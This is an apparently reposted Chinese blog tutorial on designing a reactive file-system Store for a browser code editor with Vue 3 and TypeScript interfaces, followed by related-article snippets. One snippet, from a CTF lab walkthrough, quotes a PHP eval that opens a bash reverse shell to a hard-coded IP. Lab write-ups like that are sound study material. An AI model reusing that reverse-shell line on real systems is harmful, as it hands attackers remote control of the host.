文件系统设计 - 开发文件系统 Store (上篇)

news2024/9/22 9:57:28

本节开始,我们将从最核心基础的文件系统进行设计实现,构建文件系统Store

  • 一个基础的响应式Store类
  • 设计文件系统类接口
  • 小结

一个基础的响应式Store类

Vue3 开始,Vue响应式借助Proxy重构后,整个响应式系统的应用变得非常的灵活,虽然目前业界依旧有 Pinia 等响应式管理库,但其本质依旧是在借助Vue的响应式API进行设计实现;所以很多时候其实并非需要第三方的响应式管理库,如果只是简单的响应式处理直接借助 Vue 的响应式API即可。

关于Vue3 的响应式实现细节,大家可以参考网上很多的Vue原理解析文章,或者大家有兴趣可以在下方留言,后面也可以出一期从0手写mini-vue3 源码的专栏

这里我们便借助 Vue 的响应式API封装一个具有响应式State管理的基类

import { reactive, UnwrapNestedRefs } from 'vue'

export abstract class Store<T extends Record<string, unknown>> {
  state: UnwrapNestedRefs<T>;

  constructor(state: T) {
    this.state = reactive(state);
  }
}

设计文件系统类接口

web端的编辑器虽然可以借助 File System Access API 对本地文件进行操作,但是因其兼容性问题,目前Web编辑器的文件还是存在内存中的,将文件以树型结构在内存中进行存储维护,所以首先我们先明确文件系统的主要作用是: 管理内存中的文件树; 这里的管理主要包括以下部分:

  • 创建文件/文件夹
  • 删除文件/文件夹
  • 查找文件/文件夹
  • 移动文件/文件夹
  • 文件/文件夹重命名
  • 文件写入

首先,我们需要先设计出文件在内存中进行管理的数据结构定义

// 定义文件的类型
export const enum FileType {
  File,
  Directory,
}

// 文件的结构定义
export interface IFileSystemItem {
  filename: string;  	/* 文件名 */
  type: FileType.File; 	/* 文件类型 */
  code: string;			/* 文件的代码 */
  ext: string;			/* 文件的扩展名 */
  fullPath: string;		/* 文件的完整路径 */
  status: number;		/* 文件当前的状态: 用于记录当前对文件的操作 */
  cacheBuffer: string | null  /** 文件内容缓冲区 */;
  language?: string;	/* 代码语言 */
  readonly?: boolean;	/* 文件是否只读 */
  visible?: boolean;	/* 文件是否在文件树中显示 */
}

// 目录的结构定义
export interface IDirectoryItem extends Record<string, unknown> {
  filename: string; 			/* 文件名 */
  type: FileType.Directory;		/* 文件类型 */
  fullPath: string;				/* 文件完整路径 */
  status: number;				/* 文件夹当前状态 */
  readonly?: boolean;			/* 文件夹是否只读 */
  visible?: boolean;			/* 文件夹是否在文件树中可见 */
  children: (IFileSystemItem | IDirectoryItem)[];	/* 文件夹下的子文件 */
}

定义好文件系统在内存中的存储结构后,我们还需要定义文件系统的响应式 State 中的数据结构

export type FileSystemState = {
  /* 文件树 - 单根文件夹 */
  files: IDirectoryItem;
  /* 文件Map映射,方便快速的根据文件路径查找文件 */
  fileMap: Map<string, IFileSystemItem | IDirectoryItem>;
};

对于文件的操作,我们将通过文件的 status 字段进行记录,比如文件编辑、文件重命名等;那如何通过一个字段来记录多种状态呢? 这里我们采用二进制位Mask来处理,首先我们先定义几个基础的文件操作:

export const enum FileOperation {
  Editing = 0b00000001,
  Rename = 0b00000010,
  Delete = 0b00000100,
  Move = 0b00001000,
  Create = 0b00010000,
}

关于如何通过二进制位Mask来记录不同的状态,我们将在下篇文章中具体实现文件系统进行介绍

完成以上步骤之后,现在我们可以开始定义文件系统的接口描述了,文件系统Store 是一个继承自响应式基类的文件管理子类,处理响应式文件State 数据之外,还有相关的文件操作逻辑:

export interface FileSystemProvider {
  /* 响应式的文件数据 */
  state: FileSystemState;
	
  /**
   * 创建文件
   * @param path 文件路径 uri
   * @param content 文件内容
   * @param readonly 是否只读
   * @param visible 是否可见
   */
  createFile(
    path: Uri,
    content: string,
    readonly?: boolean,
    visible?: boolean
  ): IFileSystemItem;

  /**
   * 创建目录
   * @param path 目录 Uri
   * @param readonly 是否只读
   * @param visible 是否可见
   */
  createDirectory(
    path: Uri,
    readonly?: boolean,
    visible?: boolean
  ): IDirectoryItem;

  /**
   * 读取文件内容
   * @param path 文件路径 uri
   */
  readFile(path: Uri | string): IFileSystemItem | IDirectoryItem | null;

  /**
   * 写入文件数据
   * @param path 文件路径 uri
   * @param content 文件内容
   * @returns 文件变更状态数据
   */
  writeFile(
    path: Uri | string,
    content: string,
    isBuffer?: boolean
  ): ChangeFileState | null;
	
  /**
   * 删除文件或目录
   * @param file 文件对象
   * @returns 文件变更状态数据
   */
  delete(file: IFileSystemItem | IDirectoryItem): ChangeFileState | null;

  /**
   * 文件重命名
   * @param file 文件对象
   * @param newName 文件名
   * @returns 文件变更状态数据
   */
  renameFile(file: IFileSystemItem, newName: string): ChangeFileState;

  /**
   * 文件夹重命名
   * @param folder 文件对象
   * @param newName 文件名
   * @returns 文件变更状态数据
   */
  renameFolder(folder: IDirectoryItem, newName: string): ChangeFileState[];

  /**
   * 移动文件
   * @param sourcePath 源路径
   * @param targetPath 目标路径
   * @returns 文件变更状态数据数组
   */
  moveFile: (
    sourcePath: Uri | string,
    targetPath: Uri | string
  ) => ChangeFileState[] | null;

  /**
   * 为文件对象添加操作
   * @param file 文件对象
   * @param operator 操作
   */
  addOperator: (
    file: IFileSystemItem | IDirectoryItem,
    operator: FileOperation
  ) => void;

  /**
   * 为文件对象移除操作
   * @param file 文件对象
   * @param operator 操作
   */
  removeOperator: (
    file: IFileSystemItem | IDirectoryItem,
    operator: FileOperation
  ) => void;
}

小结

这一章我们正式开始组件库的开发,组件的开发我认为最重要的不是组件如何渲染,而是数据如何维护和管理;
从这章开始我们介绍的是整个编辑器组件的核心:文件系统; 我们将按照面向接口编程的方式,逐步设计和实现文件系统的管理和操作。这一章节我们通过TS类型定义设计实现了文件系统相关的接口定义,大家也可以根据目前文件系统的接口定义,尝试实现文件系统管理类。

如果大家在开发过程中有任何的问题欢迎下方留言评论,我将尽快为大家解答;加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154792.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++初阶-list用法总结

目录 1.迭代器的分类 2.算法举例 3.push_back/emplace_back 4.insert/erase函数介绍 5.splice函数介绍 5.1用法一&#xff1a;把一个链表里面的数据给另外一个链表 5.2 用法二&#xff1a;调整链表当前的节点数据 6.unique去重函数介绍 1.迭代器的分类 我们的这个迭代器…

【alluxio编译报错】Some files do not have the expected license header

Some files do not have the expected license header 快捷导航 在开始解决问题之前&#xff0c;大家可以通过下面的导航快速找到相关资源啦&#xff01;&#x1f4a1;&#x1f447; 快捷导航链接地址备注相关文档-ambaribigtop自定义组件集成https://blog.csdn.net/TTBIGDA…

【Elasticsearch系列十八】Ik 分词器

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

通信入门系列书籍推荐一:通信原理和通信原理学习辅导

微信公众号上线&#xff0c;搜索公众号小灰灰的FPGA,关注可获取相关源码&#xff0c;定期更新有关FPGA的项目以及开源项目源码&#xff0c;包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 本节目录 一、背景 二、通信原理 …

石岩体育馆附近的免费停车场探寻

坐标&#xff1a;石岩体育馆侧的石清大道断头路, 如果运气好的话&#xff0c;遇到刚好有车开出的话&#xff0c;我觉得可以作为中长期的免费停车点 第一次路过的时候&#xff0c;把我震惊了&#xff0c;我一直以为石岩停车位紧张比市区还严重&#xff0c;因为石岩大部分为统建楼…

python画图|图像背景颜色设置

python画图出来的默认图形背景是白色&#xff0c;有时候并不适合大家表达想要表达的意思。 因此&#xff0c;我们很有必要掌握自己设置图形背景颜色的技巧。 【1】官网教程 首先请各位看官移步官网&#xff0c;看看官网如何设置&#xff0c;下述链接可轻松到达&#xff1a; …

Lubuntu电源管理

lxqt-config-powermanagement 打开托盘图标 Show icon 电源管理 电源管理管理笔记本电脑电池的低电量、关闭笔记本电脑盖的操作以及计算机长时间闲置时应采取的措施。 用法 LXQt 电源管理会监控您的电池、笔记本电脑盖、空闲情况&#xff0c;以及当您按下电源或睡眠按钮时会发…

IS-ISv6单拓扑存在的问题

文章目录 IS-ISv6单拓扑配置单拓扑存在的问题解决 IS-ISv6单拓扑B站视频传送门 IS-ISv6单拓扑 配置 R1&#xff1a;sy sy R1 ipv6 inter g0/0/0 ip add 12.1.1.1 24 ipv6 enable ipv add 2001:12::1 64 inter loop0 ip add 1.1.1.1 32 ipv6 enable ipv address 2002::1 128isi…

30个GPT提示词天花板,一小时从大纲到终稿

PROMPT 1 中文&#xff1a;构建研究背景与意义&#xff0c;阐述研究问题的紧迫性和重要性。 English: Establish the research background and significance, elucidating the urgency and importance of the research question. 中文&#xff1a;设计研究目的与目标&#xff…

TDOA方法求二维坐标的MATLAB代码演示与讲解

引言 时间差定位(Time Difference of Arrival, TDOA)是一种用于确定信号源位置的技术,广泛应用于无线通信、声学定位等领域。通过测量信号到达多个接收器的时间差,可以计算出信号源的二维坐标。本文将通过MATLAB代码演示如何使用TDOA方法来求解二维坐标。 TDOA原理 TDOA…

LeetCode题练习与总结:回文链表--234

一、题目描述 给你一个单链表的头节点 head &#xff0c;请你判断该链表是否为回文链表。如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,2,1] 输出&#xff1a;true示例 2&#xff1a; 输入&#x…

CocosCreator 3.x 实现角色移动与加载时动态屏幕边缘检测

效果 思路 通过cc.view全局单例 View 对象获取屏幕尺寸加载时根据屏幕尺寸动态计算上下左右边缘 代码实现 import { _decorator, Component, EventTouch, Input, input, Node, view } from cc; const { ccclass, property } _decorator;/*** 玩家控制脚本*/ ccclass(Player…

Linux之实战命令03:stat应用实例(三十七)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

树及二叉树(选择题)

树 在树中&#xff0c;总结点数为所有结点的度和再加一 5、设一棵度为3的树&#xff0c;其中度为2&#xff0c;1.0的结点数分别为3&#xff0c;1&#xff0c;6。该树中度为3 的结点数为_。 二叉树 设二叉树的所有节点个数为N&#xff0c;度为零的结点&#xff08;叶子结点…

P9235 [蓝桥杯 2023 省 A] 网络稳定性

*原题链接* 最小瓶颈生成树题&#xff0c;和货车运输完全一样。 先简化题意&#xff0c; 次询问&#xff0c;每次给出 &#xff0c;问 到 的所有路径集合中&#xff0c;最小边权的最大值。 对于这种题可以用kruskal生成树来做&#xff0c;也可以用倍增来写&#xff0c;但不…

数字基带之相移键控PSK

1 相移键控定义 相移键控是指用载波的相移位变化来传递信号&#xff0c;不改变载波的幅度和频率&#xff0c;可用下面的公式表示。 是载波的幅度&#xff0c;是载波的角频率&#xff0c;是载波的瞬时相位&#xff0c;是载波的初始相位。如果需要调制的信号为1bit的二进制数&am…

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据&#xff0c;读取大数据量时&#xff0c;效率低。 2. 解决方案 根据分区字段&#xff0c;如日期进行划分&#xff0c;增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …

[Web安全 网络安全]-CSRF跨站请求伪造

文章目录&#xff1a; 一&#xff1a;前言 1.定义 2.攻击原理 3.危害 4.环境 4.1 靶场 4.2 扫描工具 5.cookie session token的区别 6.CSRF与XSS的区别 二&#xff1a;构建CSRF的payload GET请求&#xff1a;a标签 img标签 POST请求&#xff1a;form表单 三&…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…